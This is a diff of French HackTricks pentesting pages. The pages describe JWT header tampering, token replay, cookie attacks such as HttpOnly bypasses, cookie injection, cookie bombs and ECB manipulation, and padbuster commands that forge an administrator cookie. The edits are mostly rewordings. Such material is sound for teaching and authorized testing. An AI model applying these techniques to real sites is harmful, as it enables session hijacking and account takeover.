X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés sous forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans le RFC 52807. La sécurité du transport est requise pour transférer les certificats.
|
||||
|
||||
Essayez de **modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**.
|
||||
|
||||
|
@ -207,7 +207,7 @@ const key = new NodeRSA();
|
|||
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
|
||||
console.log(importedKey.exportKey("public"));
|
||||
```
|
||||
Il est possible de générer une nouvelle clé privée/publique, incorporer la nouvelle clé publique à l'intérieur du jeton et l'utiliser pour générer une nouvelle signature :
|
||||
Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique à l'intérieur du jeton et de l'utiliser pour générer une nouvelle signature :
|
||||
```bash
|
||||
openssl genrsa -out keypair.pem 2048
|
||||
openssl rsa -in keypair.pem -pubout -out publickey.crt
|
||||
|
@ -225,10 +225,10 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
```
|
||||
### JTI (JWT ID)
|
||||
|
||||
Le JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour éviter la relecture du jeton.\
|
||||
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Ainsi, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant l'envoi de 10000 requêtes entre chaque rejouer réussi).
|
||||
La revendication JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour empêcher le jeton d'être rejoué.\
|
||||
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). La requête 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant l'envoi de 10000 requêtes entre chaque rejouer réussi).
|
||||
|
||||
### JWT Registered claims
|
||||
### Revendications enregistrées JWT
|
||||
|
||||
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
|
||||
|
||||
|
@ -238,11 +238,11 @@ Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (000
|
|||
|
||||
Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email devrait être investiguée. Une tentative devrait ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté.
|
||||
|
||||
- Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si l'inscription sur une application tierce est nécessaire, car cela pourrait entrer dans une zone grise légale.
|
||||
- Un problème critique peut être indiqué par l'acceptation de votre jeton, permettant potentiellement le spoofing du compte de n'importe quel utilisateur. Cependant, il convient de noter qu'une autorisation pour des tests plus larges pourrait être requise si vous vous inscrivez sur une application tierce, car cela pourrait entrer dans une zone grise légale.
|
||||
|
||||
**Vérification de l'expiration des jetons**
|
||||
|
||||
L'expiration du jeton est vérifiée en utilisant la revendication de charge utile "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. La RFC JWT recommande de mitiger les attaques de rejeu de JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt_tool.
|
||||
L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. Le RFC JWT recommande de mitiger les attaques de rejeu JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt_tool.
|
||||
|
||||
- Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer.
|
||||
|
||||
|
@ -251,7 +251,7 @@ L'expiration du jeton est vérifiée en utilisant la revendication de charge uti
|
|||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Astuce de prime de bug**: **Inscrivez-vous** à **Intigriti**, une plateforme de prime de bug premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||
**Astuce de prime de bug bounty**: **Inscrivez-vous** à **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers**! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -264,7 +264,7 @@ Autres façons de soutenir HackTricks:
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,14 +9,14 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes sur l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes sur l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -67,7 +67,7 @@ Tableau de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
|
|||
Un cookie avec l'attribut _**SameSite**_ aidera à **atténuer les attaques CSRF** où une session connectée est nécessaire.
|
||||
|
||||
**\*Notez qu'à partir de Chrome80 (fév/2019), le comportement par défaut d'un cookie sans un attribut SameSite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Notez temporairement, après l'application de ce changement, les **cookies sans politique SameSite** **dans Chrome seront traités comme None** pendant les **2 premières minutes puis comme Lax pour les requêtes POST intersites de niveau supérieur.**
|
||||
Notez temporairement, après l'application de ce changement, les **cookies sans politique SameSite** **dans Chrome seront traités comme None** pendant les **2 premières minutes, puis comme Lax pour les requêtes POST intersites de niveau supérieur.**
|
||||
|
||||
## Drapeaux des Cookies
|
||||
|
||||
|
@ -77,11 +77,11 @@ Cela empêche le **client** d'accéder au cookie (via **Javascript** par exemple
|
|||
|
||||
#### **Contournements**
|
||||
|
||||
* Si la page **envoie les cookies en réponse** à une requête (par exemple dans une page **PHPinfo**), il est possible d'abuser du XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (consultez un exemple dans [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Cela peut être contourné avec des requêtes **HTTP TRACE** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Suivi intersites**.
|
||||
* Si la page envoie les cookies en réponse à une requête (par exemple dans une page **PHPinfo**), il est possible d'exploiter la XSS pour envoyer une requête à cette page et **voler les cookies** de la réponse (consultez un exemple dans [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Cela peut être contourné avec des requêtes **TRACE HTTP** car la réponse du serveur (si cette méthode HTTP est disponible) reflétera les cookies envoyés. Cette technique est appelée **Suivi intersites**.
|
||||
* Cette technique est évitée par les **navigateurs modernes en ne permettant pas l'envoi d'une requête TRACE** depuis JS. Cependant, certains contournements à cela ont été trouvés dans des logiciels spécifiques comme l'envoi de `\r\nTRACE` au lieu de `TRACE` à IE6.0 SP2.
|
||||
* Une autre façon est l'exploitation de vulnérabilités zero/day des navigateurs.
|
||||
* Il est possible de **remplacer les cookies HttpOnly** en effectuant une attaque de débordement de Cookie Jar :
|
||||
* Une autre méthode est l'exploitation de vulnérabilités zero/day des navigateurs.
|
||||
* Il est possible de **écraser les cookies HttpOnly** en effectuant une attaque de débordement de Cookie Jar :
|
||||
|
||||
{% content-ref url="cookie-jar-overflow.md" %}
|
||||
[cookie-jar-overflow.md](cookie-jar-overflow.md)
|
||||
|
@ -95,12 +95,12 @@ La requête enverra le cookie **uniquement** dans une requête HTTP si la requê
|
|||
|
||||
## Préfixes des Cookies
|
||||
|
||||
Les cookies préfixés par `__Secure-` doivent être définis avec le drapeau `secure` à partir des pages sécurisées par HTTPS.
|
||||
Les cookies préfixés par `__Secure-` doivent être définis avec le drapeau `secure` sur les pages sécurisées par HTTPS.
|
||||
|
||||
Pour les cookies préfixés par `__Host-`, plusieurs conditions doivent être remplies :
|
||||
- Ils doivent être définis avec le drapeau `secure`.
|
||||
- Ils doivent provenir d'une page sécurisée par HTTPS.
|
||||
- Il est interdit de spécifier un domaine pour ces cookies, empêchant leur transmission aux sous-domaines.
|
||||
- Ils sont interdits de spécifier un domaine, empêchant leur transmission aux sous-domaines.
|
||||
- Le chemin de ces cookies doit être défini sur `/`.
|
||||
|
||||
Il est important de noter que les cookies préfixés par `__Host-` ne sont pas autorisés à être envoyés aux superdomaines ou aux sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, l'utilisation du préfixe `__Host-` pour tous les cookies d'application peut être considérée comme une bonne pratique pour renforcer la sécurité et l'isolation.
|
||||
|
@ -141,7 +141,7 @@ Si vous trouvez un **XSS dans un sous-domaine** ou que vous **contrôlez un sous
|
|||
|
||||
Cliquez sur le lien précédent pour accéder à une page expliquant les failles possibles dans les JWT.
|
||||
|
||||
Les jetons web JSON (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, l'accès au document lié sur le piratage des JWT est recommandé.
|
||||
Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présenter des vulnérabilités. Pour des informations approfondies sur les failles potentielles et comment les exploiter, l'accès au document lié sur le piratage des JWT est recommandé.
|
||||
|
||||
### Falsification de Requête Inter-sites (CSRF)
|
||||
|
||||
|
@ -150,7 +150,7 @@ Cette attaque force un utilisateur connecté à exécuter des actions non désir
|
|||
### Cookies Vides
|
||||
|
||||
(Vérifiez les détails supplémentaires dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/))
|
||||
Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré via JavaScript comme suit:
|
||||
Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré en JavaScript comme suit:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
|
@ -184,7 +184,7 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
|||
#### Vulnérabilités d'injection de cookies
|
||||
|
||||
(Vérifiez les détails supplémentaires dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/))
|
||||
L'analyse incorrecte des cookies par les serveurs, notamment Undertow, Zope et ceux utilisant `http.cookie.SimpleCookie` et `http.cookie.BaseCookie` de Python, crée des opportunités pour les attaques d'injection de cookies. Ces serveurs ne parviennent pas à délimiter correctement le début de nouveaux cookies, permettant aux attaquants de falsifier des cookies :
|
||||
L'analyse incorrecte des cookies par les serveurs, notamment Undertow, Zope et ceux utilisant `http.cookie.SimpleCookie` et `http.cookie.BaseCookie` de Python, crée des opportunités pour les attaques d'injection de cookies. Ces serveurs ne délimitent pas correctement le début de nouveaux cookies, permettant aux attaquants de falsifier des cookies :
|
||||
|
||||
- Undertow attend un nouveau cookie immédiatement après une valeur entre guillemets sans point-virgule.
|
||||
- Zope recherche une virgule pour commencer l'analyse du cookie suivant.
|
||||
|
@ -210,10 +210,10 @@ Cette vulnérabilité est particulièrement dangereuse dans les applications web
|
|||
Si le cookie reste le même (ou presque) lorsque vous vous connectez, cela signifie probablement que le cookie est lié à un champ de votre compte (probablement le nom d'utilisateur). Ensuite, vous pouvez :
|
||||
|
||||
* Essayez de créer beaucoup de **comptes** avec des noms d'utilisateur très **similaires** et essayez de **deviner** comment l'algorithme fonctionne.
|
||||
* Essayez de **forcer le nom d'utilisateur**. Si le cookie ne sauvegarde que comme méthode d'authentification pour votre nom d'utilisateur, vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **forcer** chaque **bit** de votre cookie car l'un des cookies que vous essayerez appartiendra à "**admin**".
|
||||
* Essayez l'**Oracle de Rembourrage** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**.
|
||||
* Essayez de **bruteforcer le nom d'utilisateur**. Si le cookie ne sauvegarde que comme méthode d'authentification pour votre nom d'utilisateur, vous pouvez créer un compte avec le nom d'utilisateur "**Bmin**" et **bruteforcer** chaque **bit** de votre cookie car l'un des cookies que vous essayerez appartiendra à "**admin**".
|
||||
* Essayez **Padding Oracle** (vous pouvez décrypter le contenu du cookie). Utilisez **padbuster**.
|
||||
|
||||
**Oracle de Rembourrage - Exemples de Padbuster**
|
||||
**Padding Oracle - Exemples de Padbuster**
|
||||
```bash
|
||||
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
|
||||
# When cookies and regular Base64
|
||||
|
@ -223,7 +223,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster fera plusieurs tentatives et vous demandera quelle condition est la condition d'erreur (celle qui n'est pas valide).
|
||||
Padbuster fera plusieurs tentatives et vous demandera quelle condition est l'erreur (celle qui n'est pas valide).
|
||||
|
||||
Ensuite, il commencera à décrypter le cookie (cela peut prendre plusieurs minutes).
|
||||
|
||||
|
@ -231,11 +231,11 @@ Si l'attaque a réussi, vous pourriez essayer de crypter une chaîne de votre ch
|
|||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
Cet exemple vous donnera le cookie correctement chiffré et encodé avec la chaîne **user=administrator** à l'intérieur.
|
||||
Cet exécution vous donnera le cookie correctement chiffré et encodé avec la chaîne **user=administrator** à l'intérieur.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Peut-être qu'un cookie pourrait avoir une certaine valeur et être signé en utilisant le CBC. Ensuite, l'intégrité de la valeur est la signature créée en utilisant le CBC avec la même valeur. Comme il est recommandé d'utiliser un vecteur nul comme IV, ce type de vérification d'intégrité pourrait être vulnérable.
|
||||
Peut-être qu'un cookie pourrait avoir une certaine valeur et être signé en utilisant le CBC. Ensuite, l'intégrité de la valeur est la signature créée en utilisant le CBC avec la même valeur. Comme il est recommandé d'utiliser un vecteur IV nul, ce type de vérification d'intégrité pourrait être vulnérable.
|
||||
|
||||
**L'attaque**
|
||||
|
||||
|
@ -250,11 +250,11 @@ Lorsque vous vous connectez, le cookie que vous recevez doit être toujours le m
|
|||
|
||||
**Comment détecter et attaquer :**
|
||||
|
||||
Créez 2 utilisateurs avec des données presque identiques (nom d'utilisateur, mot de passe, e-mail, etc.) et essayez de découvrir un certain schéma à l'intérieur du cookie donné.
|
||||
Créez 2 utilisateurs avec des données presque identiques (nom d'utilisateur, mot de passe, e-mail, etc.) et essayez de découvrir un certain motif à l'intérieur du cookie donné.
|
||||
|
||||
Créez un utilisateur appelé par exemple "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" et vérifiez s'il y a un schéma dans le cookie (comme ECB chiffre avec la même clé chaque bloc, les mêmes octets chiffrés pourraient apparaître si le nom d'utilisateur est chiffré).
|
||||
Créez un utilisateur appelé par exemple "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" et vérifiez s'il y a un motif dans le cookie (comme ECB chiffre avec la même clé chaque bloc, les mêmes octets chiffrés pourraient apparaître si le nom d'utilisateur est chiffré).
|
||||
|
||||
Il devrait y avoir un schéma (avec la taille d'un bloc utilisé). Ainsi, en sachant comment un tas de "a" est chiffré, vous pouvez créer un nom d'utilisateur : "a"\*(taille du bloc)+"admin". Ensuite, vous pourriez supprimer le schéma chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie de l'utilisateur "admin".
|
||||
Il devrait y avoir un motif (avec la taille d'un bloc utilisé). Ainsi, en sachant comment un tas de "a" est chiffré, vous pouvez créer un nom d'utilisateur : "a"\*(taille du bloc)+"admin". Ensuite, vous pourriez supprimer le motif chiffré d'un bloc de "a" du cookie. Et vous aurez le cookie de l'utilisateur "admin".
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -263,7 +263,7 @@ Il devrait y avoir un schéma (avec la taille d'un bloc utilisé). Ainsi, en sac
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -274,10 +274,10 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p
|
|||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez** 💬 le [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,12 +7,12 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
**`Cookie bomb`** implique **d'ajouter un nombre significatif de cookies volumineux à un domaine et ses sous-domaines ciblant un utilisateur**. Cette action entraîne la victime à **envoyer des requêtes HTTP surdimensionnées** au serveur, qui sont ensuite **rejetées par le serveur**. La conséquence de cela est l'induction d'un déni de service (DoS) spécifiquement ciblé sur un utilisateur dans ce domaine et ses sous-domaines.
|
||||
**`Cookie bomb`** implique **d'ajouter un nombre significatif de cookies volumineux à un domaine et ses sous-domaines ciblant un utilisateur**. Cette action entraîne la victime **à envoyer des requêtes HTTP surdimensionnées** au serveur, qui sont ensuite **rejetées par le serveur**. La conséquence de cela est l'induction d'un déni de service (DoS) spécifiquement ciblé sur un utilisateur dans ce domaine et ses sous-domaines.
|
||||
|
||||
Un bel **exemple** peut être vu dans ce rapport : [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
|
||||
|
||||
|
@ -28,7 +28,7 @@ Autres façons de soutenir HackTricks :
|
|||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,19 +1,19 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Les navigateurs ont une **limite sur le nombre de cookies** qu'ils peuvent stocker pour une page. Alors, si pour une raison quelconque vous avez besoin de **faire disparaître un cookie**, vous pouvez **déborder le bocal à cookies** car les plus anciens seront supprimés en premier :
|
||||
Les navigateurs ont une **limite sur le nombre de cookies** qu'ils peuvent stocker pour une page. Ainsi, si pour une raison quelconque vous devez **faire disparaître un cookie**, vous pouvez **déborder le bocal à cookies** car les plus anciens seront supprimés en premier :
|
||||
```javascript
|
||||
